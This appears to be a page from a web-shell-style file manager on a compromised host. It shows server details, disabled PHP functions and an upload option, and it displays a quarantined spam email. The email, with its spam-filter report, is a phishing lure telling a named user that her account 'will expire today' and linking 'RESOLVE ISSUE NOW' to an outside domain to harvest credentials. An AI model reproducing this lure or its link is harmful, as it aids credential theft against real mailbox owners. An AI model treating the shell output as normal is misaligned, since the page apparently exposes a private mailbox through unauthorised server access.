HEX
Server: Apache
System: Linux zacp120.webway.host 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
User: govancoz (1003)
PHP: 8.3.26
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/govancoz/mail/.spam/new/1731209136.M92901P433257.zacp120.ve.host,S=5330,W=5427
Return-Path: <NoReply@govan.co.za>
Delivered-To: govancoz+spam@zacp120.ve.host
Received: from zacp120.ve.host
	by zacp120.ve.host with LMTP
	id KCpPBLAnMGdpnAYAvcbEzQ
	(envelope-from <NoReply@govan.co.za>)
	for <govancoz+spam@zacp120.ve.host>; Sun, 10 Nov 2024 05:25:36 +0200
Return-path: <NoReply@govan.co.za>
Envelope-to: cheryl@govan.co.za
Delivery-date: Sun, 10 Nov 2024 05:25:36 +0200
Received: from [41.185.97.69] (port=60868 helo=govan.co.za)
	by zacp120.ve.host with esmtp (Exim 4.98)
	(envelope-from <NoReply@govan.co.za>)
	id 1t9yZy-00000001osf-0koZ
	for cheryl@govan.co.za;
	Sun, 10 Nov 2024 05:25:35 +0200
From: NoReply@govan.co.za
To: cheryl@govan.co.za
Date: 10 Nov 2024 05:24:52 +0200
Message-ID: <20241110052452.0C891A3D0FD09D8A@govan.co.za>
MIME-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Spam-Status: Yes, score=18.5
X-Spam-Score: 185
X-Spam-Bar: ++++++++++++++++++
X-Spam-Report: Spam detection software, running on the system "zacp120.ve.host",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  Dear cheryl, Your account cheryl@govan.co.za will expire
   today. In order to avoid disruption to your website, email, and any other
   associated services. Follow instruction below to resolve now. RESOLVE ISSUE
    NOW 
 Content analysis details:   (18.5 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  1.2 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
                [Blocked - see <https://www.spamcop.net/bl.shtml?41.185.97.69>]
  4.7 RCVD_IN_XBL            RBL: Received via a relay in Spamhaus XBL
                             [41.185.97.69 listed in zen.spamhaus.org]
  1.5 SPF_HELO_SOFTFAIL      SPF: HELO does not match SPF record (softfail)
  1.5 SPF_SOFTFAIL           SPF: sender does not match SPF record (softfail)
  0.0 KAM_DMARC_STATUS       Test Rule for DKIM or SPF Failure with Strict
                             Alignment
  0.2 KAM_DMARC_NONE         DKIM has Failed or SPF has failed on the message and
                             the domain has no DMARC policy
  0.1 MIME_HTML_ONLY         BODY: Message only has text/html MIME parts
  0.0 HTML_MESSAGE           BODY: HTML included in message
  2.0 RDNS_NONE              Delivered to internal network by a host with no rDNS
  2.0 MIXED_HREF_CASE        Has href in mixed case
  0.9 TO_NO_BRKTS_NORDNS_HTML To: lacks brackets and no rDNS and HTML only
  0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                           [41.185.97.69 listed in sa-trusted.bondedsender.org]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
                              Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [41.185.97.69 listed in bl.score.senderscore.com]
  0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
                              Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [41.185.97.69 listed in sa-accredit.habeas.com]
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was blocked.
                             See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URI: govan.co.za]
                             [URI: diainnovacion.legal]
  1.7 RAZOR2_CHECK           Listed in Razor2 (http://razor.sf.net/)
  2.4 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50%
                             [cf: 100]
  0.1 FSL_BULK_SIG           Bulk signature with no Unsubscribe
X-Spam-Flag: YES
Subject:  ***SPAM***  Re:Security alert for cheryl@govan.co.za

<HTML><HEAD>
<META content=3D"text/html; charset=3Dwindows-1252" http-equiv=3DContent-Ty=
pe>
<META name=3DGENERATOR content=3D"MSHTML 11.00.10570.1001"></HEAD>
<BODY>
<H3 align=3Dleft>Dear &nbsp;<FONT color=3Dblue><FONT color=3D#000000>cheryl=
,</FONT> </FONT><BR><BR>Your account <FONT color=3D#4e34cb>cheryl@govan.co.=
za</FONT> will expire today. In order to avoid disruption to your website, =
email, and any other associated services. Follow&nbsp; instruction below to=
 resolve now. <BR><BR><A href=3D"https://diainnovacion.legal/chall/General =
2024/index.html#cheryl@govan.co.za"><U><SPAN style=3D"BACKGROUND-COLOR: #ff=
ff00"><FONT color=3D#0101df>RESOLVE ISSUE NOW</FONT> </SPAN></U></A>
<BR><BR>Sincerely, <BR><BR><FONT color=3D#0404b4><FONT color=3D#000000>&cop=
y; govan.co.za Security Team</FONT></H3></FONT></FONT>
<H3>&nbsp;</H3></BODY></HTML>